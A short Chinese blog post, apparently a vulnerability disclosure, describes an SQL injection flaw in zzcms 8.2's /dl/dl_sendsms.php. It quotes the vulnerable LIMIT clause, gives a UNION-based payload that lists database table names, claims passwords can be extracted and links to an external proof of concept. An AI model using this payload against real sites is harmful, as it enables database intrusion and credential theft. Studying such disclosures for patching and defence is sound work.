zzcms 8.2最新sql注入漏洞

  • A+
所属分类:颓废's Blog
摘要

文件地址: /dl/dl_sendsms.php $sql2=$sql.” order by id asc limit $n,$size”; 可以通过SQL注入获取密码

文件地址:

/dl/dl_sendsms.php

zzcms 8.2最新sql注入漏洞

$sql2=$sql." order by id asc limit $n,$size";

可以通过SQL注入获取密码

zzcms 8.2最新sql注入漏洞

zzcms 8.2最新sql注入漏洞

构建

zzcms 8.2最新sql注入漏洞

sql=select email from zzcms_dl where id=-1 union select group_concat(distinct table_name) from information_schema.columns where table_schema=database()#

poc利用

zzcms 8.2最新sql注入漏洞

POC地址

http://bbs.0dayhack.com/thread-9-1-1.html

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: